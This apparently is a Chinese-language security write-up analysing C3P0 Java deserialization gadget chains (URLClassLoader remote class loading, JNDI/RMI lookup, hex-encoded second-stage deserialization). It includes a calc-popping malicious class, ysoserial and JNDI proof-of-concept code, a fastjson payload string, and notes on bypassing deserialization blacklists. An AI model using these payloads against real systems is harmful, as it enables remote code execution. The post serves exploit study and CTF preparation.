参考文章

前言

C3P0是JDBC的一个连接池组件

  • JDBC

“JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。”

  • 连接池

“我们在讲多线程的时候说过,创建线程是一个昂贵的操作,如果有大量的小任务需要执行,并且频繁地创建和销毁线程,实际上会消耗大量的系统资源,往往创建和消耗线程所耗费的时间比执行任务的时间还长,所以,为了提高效率,可以用线程池。
类似的,在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。”

  • C3p0

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。 使用它的开源项目有Hibernate、Spring等。

利用链

  • URLClassLoader 也叫 http base链

  • hex base

  • jndi

一共就是这三个利用链(下面是利用链分析)

URLClassLoader(http base)

先搭建环境来测试

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>

先导入maven

然后写个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import java.io.IOException;

public class calc {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

特别重要的一点就是别在idea里边进行编译,还有就是编译的时候别加上package (血的教训)

接着写个demo(记得导入ysoserial.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import java.io.*;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.Serializer;
import ysoserial.payloads.C3P0;

public class test1 {
public static void main ( final String[] args ) throws Exception {
// PayloadRunner.run(C3P0.class, args);
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:8000/:calc");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
}

然后在编译的文件目录下开个python服务

image-20230607101451858

image-20230607101546804

分析链子

image-20230607103131303

跟进getObject这个类

image-20230607103210687

这里话是对我们传进的url进行分解 分解为url和classname

反射创建了一个PoolBackedDataSource实例对象,然后反射将connectionPoolDataSource的值设置为PoolSource类的实例,传递classNameurl参数。即我们传入的远程地址和类名。

然后我们直接来跟这个反序列化入口com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

image-20230607105927591

在入口点打个断点进行分析

image-20230607110021890

判断反序列化的参数类型是否是IndirectlySerialized,是的话进入getobject()方法

image-20230607110134630

然后接着进入这个类里边

image-20230607110257304

获取到类名和url

image-20230607110405794

然后接着进入到这个URLClassLoader方法

关键点来了

image-20230607110520336

一般来说这个三个方法是成对出现的

(这里的一些参数能直接获取到是因为在序列化的时候进行了赋值) 参考文章

ForName是为了初始化 newInstance是为了实例化 因为我们构造的恶意代码是个静态代码块,在初始话的时候就会自动执行了,不需要下面的实例化了

image-20230607110951148

这里话要重新实例化一遍URL是因为这里的URLClassloader需要接收的参数是URL数组

Gadget

1
2
3
4
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject
->ReferenceIndirector.getObject()
->ReferenceableUtils.referenceToObject
(然后在referenceToObject#forname执行代码)

jndi

image-20230607113223538

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

public class c3p_jndi {
public static void main(String[] args) throws Exception{
JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
exp.setJndiName("rmi://127.0.0.1:10099/exp");
exp.setLoginTimeout(1);
}
}

// fastjson exp:
// String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"

分析链子

因为这个是可以用来打fastjson的,所以说这里的关键就是JndiRefConnectionPoolDataSource里面的set方法

image-20230607152255721

然后跟进这个方法

image-20230607153202545

然后发现会给JndiName赋值之后会调用下图的这个方法

image-20230607153347350

在这个jndi给赋值之后

接着调用另一个set方法

image-20230607154707647

然后调用到WrapperConnectionPoolDataSourcesetLoginTimeout的方法里面

image-20230607154728229

这里调用到这个里的方法是因为 wcpds是属于这个类的

image-20230607154857985

然后就接着跳到了这个类的JndiRefForwardingDataSourcesetLoginTimeout方法里

image-20230607155444372

重点就是这个inner()方法了 跟进他

image-20230607155536695

然后发现它会调用这个dereference方法 跟进去

image-20230607155629666

最后就会在这个dereference()方法里调用lookup方法来执行我的rmi恶意服务代码

最后测试一下代码可行性

image-20230607160745876

在kali搭建一个rmi恶意服务

image-20230607160832728

发现是会弹计算器的

hex base(二次反序列化)

这个方法可以用来进行二次反序列化的绕过

如果不出网,而且是fastjsonjackson的情况,可以用这个Gadget。

这里其实就是常听到的就是用C3P0二次反序列化打Fastjson,因为像Fastjson和Jackson在反序列化时都会触发setter方法的执行,而C3P0中userOverridesAsString的setter会将HexAsciiSerializedMap开头的hex字符串进行解码再去触发Java原生的反序列化

  • 其实简单来说就是这个序列化的时候会先生成一堆16进制的字符串,然后这些字符串就可以绕过黑名单检测(这就是二次反序列化的用法)

先写个demo来触发

image-20230608155736546

(注意这里绕过HexAsciiSerializedMap后面跟着的16进制字符串不对的话,是不会进入到序列化那个类里边的,在转化为字节流的时候就会告诉你失败)

接着来到这个类里边

image-20230608155946848

this.userOverridesAsString赋值

然后最后会调用到这个函数

image-20230608160020522

image-20230608160048629

这里的话会先截取HexAsciiSerializedMap后面跟着的16进制,然后将其转化为字节数组

image-20230608160149510

然后接着进入到这个formByteArray函数里

image-20230608160228255

接着进入到这个deserializeFromByteArray这个函数里

image-20230608160333740

最后在这里进行反序列化

(所以说利用方法就是将序列化的结果转化为16进制放在HexAsciiSerializedMap的后面,然后传入wrapperConnectionPoolDataSource.setUserOverridesAsString())

这样就可以进行黑名单绕过了

fastjsonjackson等环镜下,userOverridesAsString属性可控,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray对其调用readObject进行反序列化,造成反序列化漏洞

这里的有一道题会来讲解这个c3p0二次反序列化的用法

babyja 黑盾杯 2023